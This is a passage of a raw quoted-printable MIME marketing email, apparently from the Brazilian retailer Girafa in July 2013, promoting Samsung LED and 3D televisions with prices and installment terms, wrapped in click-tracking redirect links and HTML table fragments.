WduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNTUtdW41NWY2NDAwYWd4emQtc2Ftc3VuZy1wcmV0YS11c2ItaGRtaS= 1jb252ZXJzLTNkLWdyYXZhZG9yLWRlLXByb2dyYW1hcy5odG0/dXRtX3NvdXJjZT0wNF8wN18xM= 19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBh= aWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtc2Ftc3VuZy00MC11bjQwZjY0MDBhZ3h6ZC1wcmV0YS1oZG1pLXVzYi= 1zb20tM2QuaHRtP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] UN55F6400AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNTUtdW41NWY2NDAwYWd4emQtc2Ftc3VuZy1wcmV0YS11c2ItaGRtaS= 1jb252ZXJzLTNkLWdyYXZhZG9yLWRlLXByb2dyYW1hcy5odG0/dXRtX3NvdXJjZT0wNF8wN18xM= 19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBh= aWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] UN40F6400AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtc2Ftc3VuZy00MC11bjQwZjY0MDBhZ3h6ZC1wcmV0YS1oZG1pLXVzYi= 1zb20tM2QuaHRtP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] TV LED 3D 55" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNTUtdW41NWY2NDAwYWd4emQtc2Ftc3VuZy1wcmV0YS11c2ItaGRtaS= 1jb252ZXJzLTNkLWdyYXZhZG9yLWRlLXByb2dyYW1hcy5odG0/dXRtX3NvdXJjZT0wNF8wN18xM= 19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBh= aWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] TV LED 3D 40" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-samsung-40-un40f6400agxzd-preta-hdmi-usb-som-3d.htm?u= tm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Despecial_do_dia_04_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 4.839,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-55-un55f6400agxzd-samsung-preta-usb-hdmi-convers-3d-g= ravador-de-programas.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-55-un55f6400agxzd-samsung-preta-usb-hdmi-convers-3d-g= ravador-de-programas.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84195,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-55-un55f6400agxzd-samsung-preta-usb-hdmi-convers-3d-g= ravador-de-programas.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 2.023,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-samsung-40-un40f6400agxzd-preta-hdmi-usb-som-3d.htm?u= tm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-samsung-40-un40f6400agxzd-preta-hdmi-usb-som-3d.htm?u= tm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Despecial_do_dia_04_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84196,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtc2Ftc3VuZy00MC11bjQwZjY0MDBhZ3h6ZC1wcmV0YS1oZG1pLXVzYi= 1zb20tM2QuaHRtP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNDAtdW40MGY1MjAwYWd4emQtc2Ftc3VuZy1oZG1pLXVzYi1wcmV0YS= 1ndWlhLWRlLXByb2dhbWEtby5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2Rv= X2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtMzItdW4zMmY1MjAwYWd4emQtc2Ftc3VuZy1wcmV0YS1oZG1pLXVzYi= 1ndWlhLWRlLXByb2dhbWEtby5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2Rv= X2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] UN40F5200AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNDAtdW40MGY1MjAwYWd4emQtc2Ftc3VuZy1oZG1pLXVzYi1wcmV0YS= 1ndWlhLWRlLXByb2dhbWEtby5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2Rv= X2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] UN32F5200AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtMzItdW4zMmY1MjAwYWd4emQtc2Ftc3VuZy1wcmV0YS1oZG1pLXVzYi= 1ndWlhLWRlLXByb2dhbWEtby5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2Rv= X2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] TV LED 40" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy90di1sZWQtNDAtdW40MGY1MjAwYWd4emQtc2Ftc3VuZy1oZG1pLXVzYi1wcmV0YS= 1ndWlhLWRlLXByb2dhbWEtby5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2Rv= X2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] TV LED 32" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-32-un32f5200agxzd-samsung-preta-hdmi-usb-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.495,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84197,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.143,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-32-un32f5200agxzd-samsung-preta-hdmi-usb-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-32-un32f5200agxzd-samsung-preta-hdmi-usb-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84198,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-32-un32f5200agxzd-samsung-preta-hdmi-usb-guia-de-prog= ama-o.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Despecial_do_dia_04_07_13" src=3D"http://img.virtualtarget.com.br//1636/20130704/09.jpg" alt=3D"TV LED 3D 46\'\'" width=3D"600" border=3D"0" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84199,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UVi1MRUQ= vU2Ftc3VuZy8/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT= 1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84191,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG= 9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhb= F9kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84200,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG= 1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhX= zA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84201,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= A0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1d= G1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzL= nNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84202,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTA0XzA3Xz= EzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ftc= GFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb= 20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84203,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTA0XzA3XzEzX2VzcG= VjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249Z= XNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84204,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19kaW= EmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX= 2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84192,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2= NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84205,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJn= V0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90Z= XJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84206,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2Nvbn= RlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84207,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84193,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2= NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 06/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84194,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbn= Q9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLn= NnaS5jb20=3D] --ec1626653b157896e10df08a1a5c7903 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D = =0D = =0D = =0D =0D = =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"04" 3D"05" 3D"06" = 3D"07" 3D"08" 3D"09"=0D = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D
    3D"TV=0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""= 3D""=
    UN55F7500AGXZDUN46F7500AGXZD
    TV LED 3D 55" SamsungTV LED 3D 46" Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Smart TV
      =0D • Full HD
      =0D • Dual Core
      =0D • Wi-Fi
    = =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 6.159 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Smart TV
      =0D • Full HD
      =0D • Dual Core
      =0D • Wi-Fi
    = =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 3.959 ,1= 2
    =C0 vista no boleto
    = ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""
    3D"TV
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""3D""
    UN55F6400AGXZDUN40F6400AGXZD
    TV LED 3D 55" SamsungTV LED 3D 40" Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 4.= 839 ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#"= = 2.023 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""<= /td>=0D 3D""
    UN40F5200AGXZDUN32F5200AGXZD
    TV LED 40" SamsungTV LED 32" Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Full HD
      =0D • HDMI
      =0D • USB
      =0D • Conversor Digital =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    1.495 <= font style=3D"font-size: 12pt; font-weight: bold; text-decoration: none; co= lor: #f4ad13; border: 0; ">,12
    =C0 vista no boleto=0D
    ou em at=E9 12x= no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Full HD
      =0D • HDMI
      =0D • USB
      =0D • Conversor Digital =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 1.143 = ,12
    =C0 vista no boleto=0D
    ou em at=E9 12x no car= t=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"TV
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    =3D"03" 3D"04" 3D"05" 3D"06"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"10" 3D"11" 3D"12"=0D
    =0D
    3D"14"
    =
    Pre=E7os e condi= =E7=F5es de pagamento v=E1lidos at=E9 06/07/2013 ou enquanto durarem nossos= estoques. Imagens meramente ilustrativas. =
